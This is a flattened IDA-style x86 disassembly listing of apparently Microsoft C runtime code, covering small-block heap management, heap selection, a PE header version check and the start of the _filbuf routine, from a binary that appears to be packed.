loc_428E0D: ; CODE XREF: sub_428CE0+113j ; sub_428CE0+124j mov edx, [ebp+var_C] mov [ebp+var_8], edx jmp short loc_428E73 ; --------------------------------------------------------------------------- loc_428E15: ; CODE XREF: sub_428CE0+100j mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb short loc_428E39 mov ecx, [ebp+var_8] add ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+var_10] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax jmp short loc_428E4E ; --------------------------------------------------------------------------- loc_428E39: ; CODE XREF: sub_428CE0+13Ej mov edx, [ebp+arg_0] add edx, 8 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 loc_428E4E: ; CODE XREF: sub_428CE0+157j mov edx, [ebp+var_8] mov al, byte ptr [ebp+arg_8] mov [edx], al mov ecx, [ebp+arg_0] add ecx, 8 mov edx, [ebp+var_8] sub edx, ecx shl edx, 4 mov eax, [ebp+arg_0] lea eax, [eax+edx+100h] jmp loc_428F85 ; --------------------------------------------------------------------------- loc_428E73: ; CODE XREF: sub_428CE0+133j jmp short loc_428E84 ; --------------------------------------------------------------------------- loc_428E75: ; CODE XREF: sub_428CE0+C3j mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_428E84: ; CODE XREF: sub_428CE0:loc_428E73j jmp loc_428D8B ; --------------------------------------------------------------------------- loc_428E89: ; CODE XREF: sub_428CE0+B4j mov ecx, [ebp+arg_0] add ecx, 8 mov [ebp+var_8], ecx loc_428E92: ; CODE XREF: sub_428CE0:loc_428F7Ej mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jnb loc_428F83 mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb loc_428F83 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] test edx, edx jnz loc_428F6F mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_C], eax mov [ebp+var_10], 1 jmp short loc_428EE0 ; --------------------------------------------------------------------------- loc_428ECE: ; CODE XREF: sub_428CE0+20Bj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_428EE0: ; CODE XREF: sub_428CE0+1ECj mov eax, [ebp+var_C] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_428EED jmp short loc_428ECE ; --------------------------------------------------------------------------- loc_428EED: ; CODE XREF: sub_428CE0+209j mov edx, [ebp+var_10] cmp edx, [ebp+arg_8] jnb short loc_428F12 mov eax, [ebp+arg_4] sub eax, [ebp+var_10] mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_428F0A xor eax, eax jmp short loc_428F85 ; --------------------------------------------------------------------------- loc_428F0A: ; CODE XREF: sub_428CE0+224j mov edx, [ebp+var_C] mov [ebp+var_8], edx jmp short loc_428F6D ; --------------------------------------------------------------------------- loc_428F12: ; CODE XREF: sub_428CE0+213j mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb short loc_428F36 mov ecx, [ebp+var_8] add ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+var_10] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax jmp short loc_428F4B ; --------------------------------------------------------------------------- loc_428F36: ; CODE XREF: sub_428CE0+23Bj mov edx, [ebp+arg_0] add edx, 8 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 loc_428F4B: ; CODE XREF: sub_428CE0+254j mov edx, [ebp+var_8] mov al, byte ptr [ebp+arg_8] mov [edx], al mov ecx, [ebp+arg_0] add ecx, 8 mov edx, [ebp+var_8] sub edx, ecx shl edx, 4 mov eax, [ebp+arg_0] lea eax, [eax+edx+100h] jmp short loc_428F85 ; --------------------------------------------------------------------------- loc_428F6D: ; CODE XREF: sub_428CE0+230j jmp short loc_428F7E ; --------------------------------------------------------------------------- loc_428F6F: ; CODE XREF: sub_428CE0+1D6j mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_428F7E: ; CODE XREF: sub_428CE0:loc_428F6Dj jmp loc_428E92 ; --------------------------------------------------------------------------- loc_428F83: ; CODE XREF: sub_428CE0+1B8j ; sub_428CE0+1C7j xor eax, eax loc_428F85: ; CODE XREF: sub_428CE0+88j ; sub_428CE0+128j ... mov esp, ebp pop ebp retn sub_428CE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428F90 proc near ; CODE XREF: sub_425D30+161p ; sub_425F40+2D1p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch mov edx, [ebp+arg_0] lea eax, [edx+ecx*8+18h] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov [ebp+var_C], edx mov eax, [ebp+var_C] cmp eax, [ebp+arg_C] jbe short loc_428FF7 mov ecx, [ebp+arg_8] mov dl, byte ptr [ebp+arg_C] mov [ecx], dl mov eax, [ebp+var_C] sub eax, [ebp+arg_C] mov ecx, [ebp+var_4] mov edx, [ecx] add edx, eax mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0F1h mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx jmp loc_4290ED ; --------------------------------------------------------------------------- loc_428FF7: ; CODE XREF: sub_428F90+33j mov eax, [ebp+var_C] cmp eax, [ebp+arg_C] jnb loc_4290ED mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov edx, [ebp+arg_4] add edx, 0F8h cmp ecx, edx ja loc_4290ED mov eax, [ebp+arg_8] add eax, [ebp+var_C] mov [ebp+var_10], eax mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov [ebp+var_18], ecx jmp short loc_429037 ; --------------------------------------------------------------------------- loc_42902E: ; CODE XREF: sub_428F90+BAj mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_429037: ; CODE XREF: sub_428F90+9Cj mov eax, [ebp+var_10] cmp eax, [ebp+var_18] jnb short loc_42904C mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx] test edx, edx jnz short loc_42904C jmp short loc_42902E ; --------------------------------------------------------------------------- loc_42904C: ; CODE XREF: sub_428F90+ADj ; sub_428F90+B8j mov eax, [ebp+var_10] cmp eax, [ebp+var_18] jnz loc_4290ED mov ecx, [ebp+arg_8] mov dl, byte ptr [ebp+arg_C] mov [ecx], dl mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] cmp ecx, [eax] ja short loc_4290D2 mov edx, [ebp+arg_4] mov eax, [ebp+var_18] cmp eax, [edx] jbe short loc_4290D2 mov ecx, [ebp+arg_4] add ecx, 0F8h cmp [ebp+var_18], ecx jnb short loc_4290BD mov edx, [ebp+arg_4] mov eax, [ebp+var_18] mov [edx], eax mov [ebp+var_8], 0 jmp short loc_4290A5 ; --------------------------------------------------------------------------- loc_429093: ; CODE XREF: sub_428F90+120j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx loc_4290A5: ; CODE XREF: sub_428F90+101j mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_4290B2 jmp short loc_429093 ; --------------------------------------------------------------------------- loc_4290B2: ; CODE XREF: sub_428F90+11Ej mov edx, [ebp+arg_4] mov eax, [ebp+var_8] mov [edx+4], eax jmp short loc_4290D2 ; --------------------------------------------------------------------------- loc_4290BD: ; CODE XREF: sub_428F90+F0j mov ecx, [ebp+arg_4] add ecx, 8 mov edx, [ebp+arg_4] mov [edx], ecx mov eax, [ebp+arg_4] mov dword ptr [eax+4], 0 loc_4290D2: ; CODE XREF: sub_428F90+D8j ; sub_428F90+E2j ... mov ecx, [ebp+var_C] sub ecx, [ebp+arg_C] mov edx, [ebp+var_4] mov eax, [edx] add eax, ecx mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_4290ED: ; CODE XREF: sub_428F90+62j ; sub_428F90+6Dj ... mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_428F90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429100 proc near ; CODE XREF: sub_426530+89p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 28h mov [ebp+var_8], 0 mov [ebp+var_1C], offset off_4502B8 loc_429114: ; CODE XREF: sub_429100+21Ej mov eax, off_4522D8 cmp eax, [ebp+var_1C] jnz short loc_429127 mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_429127: ; CODE XREF: sub_429100+1Cj mov edx, [ebp+var_1C] mov eax, [edx+10h] mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz loc_42930F mov [ebp+var_C], 0 mov [ebp+var_28], 0 mov ecx, [ebp+var_1C] mov edx, [ecx+10h] mov [ebp+var_4], edx jmp short loc_429168 ; --------------------------------------------------------------------------- loc_429153: ; CODE XREF: sub_429100:loc_42930Aj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1000h mov [ebp+var_4], ecx loc_429168: ; CODE XREF: sub_429100+51j cmp [ebp+var_C], 400h jge loc_42930F mov edx, [ebp+var_C] mov eax, [ebp+var_1C] cmp dword ptr [eax+edx*8+18h], 0FFFFFFFFh jnz short loc_4291B0 cmp [ebp+var_28], 0 jnz short loc_4291A2 mov ecx, [ebp+var_C] mov edx, [ebp+var_1C] lea eax, [edx+ecx*8+18h] mov ecx, [ebp+var_1C] cmp [ecx+0Ch], eax jz short loc_4291A2 or eax, 0FFFFFFFFh jmp loc_429333 ; --------------------------------------------------------------------------- loc_4291A2: ; CODE XREF: sub_429100+86j ; sub_429100+98j mov edx, [ebp+var_28] add edx, 1 mov [ebp+var_28], edx jmp loc_42930A ; --------------------------------------------------------------------------- loc_4291B0: ; CODE XREF: sub_429100+80j mov eax, [ebp+var_4] add eax, 0F8h mov ecx, [ebp+var_4] cmp [ecx], eax jb short loc_4291C9 mov eax, 0FFFFFFFEh jmp loc_429333 ; --------------------------------------------------------------------------- loc_4291C9: ; CODE XREF: sub_429100+BDj mov edx, [ebp+var_4] xor eax, eax mov al, [edx+0F8h] cmp eax, 0FFh jz short loc_4291E5 mov eax, 0FFFFFFFDh jmp loc_429333 ; --------------------------------------------------------------------------- loc_4291E5: ; CODE XREF: sub_429100+D9j mov [ebp+var_10], 0 mov [ebp+var_18], 0 mov [ebp+var_24], 0 mov [ebp+var_20], 0 loc_429201: ; CODE XREF: sub_429100:loc_4292E2j cmp [ebp+var_10], 0F0h jge loc_4292E7 mov ecx, [ebp+var_10] mov edx, [ebp+var_4] lea eax, [edx+ecx+8] mov ecx, [ebp+var_4] cmp eax, [ecx] jnz short loc_429228 mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx loc_429228: ; CODE XREF: sub_429100+11Dj mov eax, [ebp+var_4] add eax, [ebp+var_10] xor ecx, ecx mov cl, [eax+8] test ecx, ecx jnz short loc_429257 mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx jmp loc_4292E2 ; --------------------------------------------------------------------------- loc_429257: ; CODE XREF: sub_429100+135j mov edx, [ebp+var_C] mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] cmp ecx, [eax+edx*8+1Ch] jl short loc_429270 mov eax, 0FFFFFFFCh jmp loc_429333 ; --------------------------------------------------------------------------- loc_429270: ; CODE XREF: sub_429100+164j cmp [ebp+var_18], 1 jnz short loc_429294 mov edx, [ebp+var_4] mov eax, [ebp+var_20] cmp eax, [edx+4] jge short loc_42928B mov eax, 0FFFFFFFBh jmp loc_429333 ; --------------------------------------------------------------------------- loc_42928B: ; CODE XREF: sub_429100+17Fj mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx loc_429294: ; CODE XREF: sub_429100+174j mov [ebp+var_20], 0 mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_14], edx jmp short loc_4292AF ; --------------------------------------------------------------------------- loc_4292A6: ; CODE XREF: sub_429100:loc_4292DAj mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax loc_4292AF: ; CODE XREF: sub_429100+1A4j mov ecx, [ebp+var_4] add ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+8] mov eax, [ebp+var_10] add eax, edx cmp [ebp+var_14], eax jge short loc_4292DC mov ecx, [ebp+var_4] add ecx, [ebp+var_14] xor edx, edx mov dl, [ecx+8] test edx, edx jz short loc_4292DA mov eax, 0FFFFFFFAh jmp short loc_429333 ; --------------------------------------------------------------------------- loc_4292DA: ; CODE XREF: sub_429100+1D1j jmp short loc_4292A6 ; --------------------------------------------------------------------------- loc_4292DC: ; CODE XREF: sub_429100+1C2j mov eax, [ebp+var_14] mov [ebp+var_10], eax loc_4292E2: ; CODE XREF: sub_429100+152j jmp loc_429201 ; --------------------------------------------------------------------------- loc_4292E7: ; CODE XREF: sub_429100+108j mov ecx, [ebp+var_C] mov edx, [ebp+var_1C] mov eax, [ebp+var_24] cmp eax, [edx+ecx*8+18h] jz short loc_4292FD mov eax, 0FFFFFFF9h jmp short loc_429333 ; --------------------------------------------------------------------------- loc_4292FD: ; CODE XREF: sub_429100+1F4j cmp [ebp+var_18], 0 jnz short loc_42930A mov eax, 0FFFFFFF8h jmp short loc_429333 ; --------------------------------------------------------------------------- loc_42930A: ; CODE XREF: sub_429100+ABj ; sub_429100+201j jmp loc_429153 ; --------------------------------------------------------------------------- loc_42930F: ; CODE XREF: sub_429100+34j ; sub_429100+6Fj mov ecx, [ebp+var_1C] mov edx, [ecx] mov [ebp+var_1C], edx cmp [ebp+var_1C], offset off_4502B8 jnz loc_429114 cmp [ebp+var_8], 0 jnz short loc_429331 mov eax, 0FFFFFFF7h jmp short loc_429333 ; --------------------------------------------------------------------------- loc_429331: ; CODE XREF: sub_429100+228j xor eax, eax loc_429333: ; CODE XREF: sub_429100+9Dj ; sub_429100+C4j ... mov esp, ebp pop ebp retn sub_429100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429340 proc near ; CODE XREF: .XComp0:00426702p ; sub_4293A0+1FBp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 push 0 nop call near ptr 27B03C5h mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] cmp edx, 5A4Dh jnz short loc_429373 mov eax, [ebp+var_8] cmp dword ptr [eax+3Ch], 0 jnz short loc_429375 loc_429373: ; CODE XREF: sub_429340+28j jmp short loc_429398 ; --------------------------------------------------------------------------- loc_429375: ; CODE XREF: sub_429340+31j mov ecx, [ebp+var_8] mov edx, [ebp+var_8] add edx, [ecx+3Ch] mov [ebp+var_4], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dl, [ecx+1Ah] mov [eax], dl mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dl, [ecx+1Bh] mov [eax+1], dl loc_429398: ; CODE XREF: sub_429340:loc_429373j mov esp, ebp pop ebp retn sub_429340 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4293A0 proc near ; CODE XREF: sub_4295D0:loc_4295FCp var_1238 = dword ptr -1238h var_1234 = dword ptr -1234h var_1230 = dword ptr -1230h var_122C = byte ptr -122Ch var_1128 = byte ptr -1128h var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 1238h call sub_421EE0 mov [ebp+var_1238], 0 mov [ebp+var_98], 94h lea eax, [ebp+var_98] push eax call near ptr 27F0576h nop test eax, eax jz short loc_4293EE cmp [ebp+var_88], 2 jnz short loc_4293EE cmp [ebp+var_94], 5 jb short loc_4293EE mov eax, 1 jmp loc_4295C0 ; --------------------------------------------------------------------------- loc_4293EE: ; CODE XREF: sub_4293A0+30j ; sub_4293A0+39j ... push 1090h lea ecx, [ebp+var_1128] push ecx push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 29801ABh test eax, eax jz loc_429594 lea edx, [ebp+var_1128] mov [ebp+var_4], edx jmp short loc_429421 ; --------------------------------------------------------------------------- loc_429418: ; CODE XREF: sub_4293A0:loc_42944Ej mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_429421: ; CODE XREF: sub_4293A0+76j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_429450 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 61h jl short loc_42944E mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 7Ah jg short loc_42944E mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 0E0h mov eax, [ebp+var_4] mov [eax], dl loc_42944E: ; CODE XREF: sub_4293A0+94j ; sub_4293A0+9Fj jmp short loc_429418 ; --------------------------------------------------------------------------- loc_429450: ; CODE XREF: sub_4293A0+89j push 16h lea ecx, [ebp+var_1128] push ecx push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_422540 add esp, 0Ch test eax, eax jnz short loc_429478 lea edx, [ebp+var_1128] mov [ebp+var_1238], edx jmp short loc_4294EB ; --------------------------------------------------------------------------- loc_429478: ; CODE XREF: sub_4293A0+C8j push 104h lea eax, [ebp+var_122C] push eax push 0 call near ptr 2790000h nop lea ecx, [ebp+var_122C] mov [ebp+var_4], ecx jmp short loc_4294A0 ; --------------------------------------------------------------------------- loc_429497: ; CODE XREF: sub_4293A0:loc_4294CDj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4294A0: ; CODE XREF: sub_4293A0+F5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4294CF mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 61h jl short loc_4294CD mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 7Ah jg short loc_4294CD mov eax, [ebp+var_4] mov cl, [eax] add cl, 0E0h mov edx, [ebp+var_4] mov [edx], cl loc_4294CD: ; CODE XREF: sub_4293A0+113j ; sub_4293A0+11Ej jmp short loc_429497 ; --------------------------------------------------------------------------- loc_4294CF: ; CODE XREF: sub_4293A0+108j lea eax, [ebp+var_122C] push eax lea ecx, [ebp+var_1128] push ecx call sub_421B10 add esp, 8 mov [ebp+var_1238], eax loc_4294EB: ; CODE XREF: sub_4293A0+D6j cmp [ebp+var_1238], 0 jz loc_429594 push 2Ch mov edx, [ebp+var_1238] push edx call sub_422680 add esp, 8 mov [ebp+var_1238], eax cmp [ebp+var_1238], 0 jz short loc_429594 mov eax, [ebp+var_1238] add eax, 1 mov [ebp+var_1238], eax mov ecx, [ebp+var_1238] mov [ebp+var_4], ecx loc_429530: ; CODE XREF: sub_4293A0:loc_429556j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_429558 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_42954D mov eax, [ebp+var_4] mov byte ptr [eax], 0 jmp short loc_429556 ; --------------------------------------------------------------------------- loc_42954D: ; CODE XREF: sub_4293A0+1A3j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_429556: ; CODE XREF: sub_4293A0+1ABj jmp short loc_429530 ; --------------------------------------------------------------------------- loc_429558: ; CODE XREF: sub_4293A0+198j push 0Ah push 0 mov edx, [ebp+var_1238] push edx call sub_422050 add esp, 0Ch mov [ebp+var_1230], eax cmp [ebp+var_1230], 2 jz short loc_42958C cmp [ebp+var_1230], 3 jz short loc_42958C cmp [ebp+var_1230], 1 jnz short loc_429594 loc_42958C: ; CODE XREF: sub_4293A0+1D8j ; sub_4293A0+1E1j mov eax, [ebp+var_1230] jmp short loc_4295C0 ; --------------------------------------------------------------------------- loc_429594: ; CODE XREF: sub_4293A0+67j ; sub_4293A0+152j ... lea eax, [ebp+var_1234] push eax call sub_429340 add esp, 4 mov ecx, [ebp+var_1234] and ecx, 0FFh cmp ecx, 6 jl short loc_4295BB mov eax, 3 jmp short loc_4295C0 ; --------------------------------------------------------------------------- loc_4295BB: ; CODE XREF: sub_4293A0+212j mov eax, 2 loc_4295C0: ; CODE XREF: sub_4293A0+49j ; sub_4293A0+1F2j ... mov esp, ebp pop ebp retn sub_4293A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4295D0 proc near ; CODE XREF: .XComp0:0042488Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1000h xor eax, eax cmp [ebp+arg_0], 0 setz al push eax nop call near ptr 2980D20h mov dword_4E98C8, eax cmp dword_4E98C8, 0 jnz short loc_4295FC xor eax, eax jmp short loc_42965B ; --------------------------------------------------------------------------- loc_4295FC: ; CODE XREF: sub_4295D0+26j call sub_4293A0 mov dword_4E98CC, eax cmp dword_4E98CC, 3 jnz short loc_429633 push 3F8h call sub_426790 add esp, 4 test eax, eax jnz short loc_429631 mov ecx, dword_4E98C8 push ecx nop call near ptr 2980BA3h xor eax, eax jmp short loc_42965B ; --------------------------------------------------------------------------- loc_429631: ; CODE XREF: sub_4295D0+4Ej jmp short loc_429656 ; --------------------------------------------------------------------------- loc_429633: ; CODE XREF: sub_4295D0+3Dj cmp dword_4E98CC, 2 jnz short loc_429656 call sub_428460 test eax, eax jnz short loc_429656 mov edx, dword_4E98C8 push edx nop call near ptr 2980BA3h xor eax, eax jmp short loc_42965B ; --------------------------------------------------------------------------- loc_429656: ; CODE XREF: sub_4295D0:loc_429631j ; sub_4295D0+6Aj ... mov eax, 1 loc_42965B: ; CODE XREF: sub_4295D0+2Aj ; sub_4295D0+5Fj ... pop ebp retn sub_4295D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch cmp dword_4E98CC, 3 jnz loc_4296FA mov eax, dword_4E98E8 mov [ebp-8], eax mov dword ptr [ebp-4], 0 jmp short loc_42968D ; --------------------------------------------------------------------------- loc_429684: ; CODE XREF: .XComp0:004296E1j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_42968D: ; CODE XREF: .XComp0:00429682j mov edx, [ebp-4] cmp edx, dword_4E98E4 jge short loc_4296E3 push 4000h push 100000h mov eax, [ebp-8] mov ecx, [eax+0Ch] push ecx call near ptr 2970D92h nop push 8000h push 0 mov edx, [ebp-8] mov eax, [edx+0Ch] push eax nop call near ptr 2970D92h mov ecx, [ebp-8] mov edx, [ecx+10h] push edx push 0 mov eax, dword_4E98C8 push eax nop call near ptr 2970000h mov ecx, [ebp-8] add ecx, 14h mov [ebp-8], ecx jmp short loc_429684 ; --------------------------------------------------------------------------- loc_4296E3: ; CODE XREF: .XComp0:00429696j mov edx, dword_4E98E8 push edx push 0 mov eax, dword_4E98C8 push eax call near ptr 2970000h nop jmp short loc_429738 ; --------------------------------------------------------------------------- loc_4296FA: ; CODE XREF: .XComp0:0042966Dj cmp dword_4E98CC, 2 jnz short loc_429738 mov dword ptr [ebp-0Ch], offset off_4502B8 loc_42970A: ; CODE XREF: .XComp0:00429736j mov ecx, [ebp-0Ch] cmp dword ptr [ecx+10h], 0 jz short loc_429727 push 8000h push 0 mov edx, [ebp-0Ch] mov eax, [edx+10h] push eax call near ptr 2970D92h nop loc_429727: ; CODE XREF: .XComp0:00429711j mov ecx, [ebp-0Ch] mov edx, [ecx] mov [ebp-0Ch], edx cmp dword ptr [ebp-0Ch], offset off_4502B8 jnz short loc_42970A loc_429738: ; CODE XREF: .XComp0:004296F8j ; .XComp0:00429701j mov eax, dword_4E98C8 push eax nop call near ptr 2980BA3h mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429750 proc near ; CODE XREF: sub_420E70+66p ; sub_421570+19p ... var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] add eax, 1 cmp eax, 100h ja short loc_42977A mov ecx, [ebp+arg_0] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, [ebp+arg_4] jmp loc_429803 ; --------------------------------------------------------------------------- loc_42977A: ; CODE XREF: sub_429750+11j mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh and ecx, 0FFh mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_4297C3 mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh mov [ebp+var_C], cl mov dl, byte ptr [ebp+arg_0] mov [ebp+var_B], dl mov [ebp+var_A], 0 mov [ebp+var_8], 2 jmp short loc_4297D4 ; --------------------------------------------------------------------------- loc_4297C3: ; CODE XREF: sub_429750+4Fj mov al, byte ptr [ebp+arg_0] mov [ebp+var_C], al mov [ebp+var_B], 0 mov [ebp+var_8], 1 loc_4297D4: ; CODE XREF: sub_429750+71j push 1 push 0 push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] push edx lea eax, [ebp+var_C] push eax push 1 call sub_433870 add esp, 1Ch test eax, eax jnz short loc_4297F8 xor eax, eax jmp short loc_429803 ; --------------------------------------------------------------------------- loc_4297F8: ; CODE XREF: sub_429750+A2j mov eax, [ebp+var_4] and eax, 0FFFFh and eax, [ebp+arg_4] loc_429803: ; CODE XREF: sub_429750+25j ; sub_429750+A6j mov esp, ebp pop ebp retn sub_429750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429810 proc near ; CODE XREF: sub_421120+182p ; sub_4223D0+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_429819: ; CODE XREF: sub_429810+31j cmp [ebp+arg_0], 0 jnz short loc_42983D push offset dword_43E4A4 push 0 push 69h push offset a_filbuf_c ; "_filbuf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42983D int 3 ; Trap to Debugger loc_42983D: ; CODE XREF: sub_429810+Dj ; sub_429810+2Aj xor eax, eax test eax, eax jnz short loc_429819 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_429865 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_42986D loc_429865: ; CODE XREF: sub_429810+46j or eax, 0FFFFFFFFh jmp loc_4299ED ; --------------------------------------------------------------------------- loc_42986D: ; CODE XREF: sub_429810+53j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_429890 mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_4] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_4299ED ; --------------------------------------------------------------------------- loc_429890: ; CODE XREF: sub_429810+68j mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jnz short loc_4298BB mov ecx, [ebp+var_4] push ecx call sub_433A30 add esp, 4 jmp short loc_4298C6 ; --------------------------------------------------------------------------- loc_4298BB: ; CODE XREF: sub_429810+9Bj mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx loc_4298C6: ; CODE XREF: sub_429810+A9j mov edx, [ebp+var_4] mov eax, [edx+18h] push eax mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_429A00 add esp, 0Ch mov edx, [ebp+var_4] mov [edx+4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_4298FB mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0FFFFFFFFh jnz short loc_42992B loc_4298FB: ; CODE XREF: sub_429810+E0j mov edx, [ebp+var_4] mov eax, [edx+4] 